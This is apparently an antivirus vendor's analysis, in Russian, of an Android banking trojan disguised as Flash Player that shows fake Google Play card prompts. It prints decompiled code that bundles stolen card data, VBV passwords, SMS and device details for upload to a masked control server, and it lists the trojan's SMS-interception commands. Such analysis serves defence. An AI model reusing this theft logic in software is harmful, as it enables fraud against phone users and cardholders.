Троянская программа, крадущая аутентификационные данные кредитных карт. Распространяется под видом проигрывателя Adobe Flash Player. После запуска пользователем или после загрузки операционной системы активирует вредоносный сервис, который проверяет наличие у троянца доступа к правам администратора мобильного устройства. Если соответствующие права отсутствуют, то с периодичностью в 0,1 секунды выводится запрос на их получение.
Далее этот сервис проверяет, активен ли процесс com.android.vending (приложение-клиент Google Play) и была ли ранее украдена информация о кредитной карте. Если каталог Google Play запущен, и конфиденциальные сведения еще не собирались, с периодичностью в 10 секунд жертве демонстрируется поддельный запрос на привязку банковской карты к учетной записи каталога приложений, в котором необходимо ввести соответствующие платежные реквизиты.
Введенная пользователем информация передается на сервер http://xx.xxx.14.59/send.php в формате json.
JSONObject v3 = new JSONObject();
v3.put("type", "card information");
JSONObject v1 = new JSONObject();
v1.put("number", card.getNumber());
v1.put("month", card.getMonth());
v1.put("year", card.getYear());
v1.put("cvc", card.getCvc());
v3.put("card", v1);
JSONObject v0 = new JSONObject();
v0.put("first name", address.getFirstName());
v0.put("last name", address.getLastName());
v0.put("street address", address.getStreetAddress());
v0.put("city", address.getCity());
v0.put("country", address.getCountry());
v0.put("zip code", address.getZip());
v0.put("phone", address.getPhone());
v3.put("billing address", v0);
JSONObject v2 = new JSONObject();
v2.put("vbv password", info.getVbvPass());
v3.put("additional information", v2);
v3.put("code", v5.getString("APP_ID", "-1"));
С периодичностью в 3 минуты на сервер также передается json с информацией о мобильном устройстве:
v1.put("type", "device info");
v1.put("country", Utils.getCountry(context));
v1.put("imei", Utils.getIMEI(context));
v1.put("model", Utils.getModel());
v1.put("apps", Utils.getInstalledAppsList(context));
v1.put("sms", Utils.readMessagesFromDeviceDB(context));
v1.put("os", Utils.getOS());
v1.put("client number", "1");
При повторном обращении к серверу с целью загрузки этих сведений отправляется json вида {"type":"device check","code":"489"}, где «code» - идентификатор вредоносного приложения.
Командный интерфейс
Android.BankBot.21.origin способен выполнять различные команды, которые могут поступать как по протоколу HTTP, так и в виде СМС-сообщений. В первом случае указания формируются в виде json, который содержит специальный ключ «command». Если же для управления троянцем применяются короткие сообщения, то в поступающих СМС вредоносная программа ищет точное совпадение с формирующими команды строками. Список возможных команд:
- «#intercept_sms_start» – начать перехват входящих сообщений;
- «#intercept_sms_stop» – закончить перехват входящих сообщений;
- «#send» + «_sms» – отправить сообщение с заданным текстом на указанный в команде номер;
- «#control_number» – установить контрольный номер, на который пересылаются некоторые данные в тех случаях, когда не удается передать их по протоколу HTTP.
Управляющий сервер расположен по адресу http://xx.xxx.14.59/.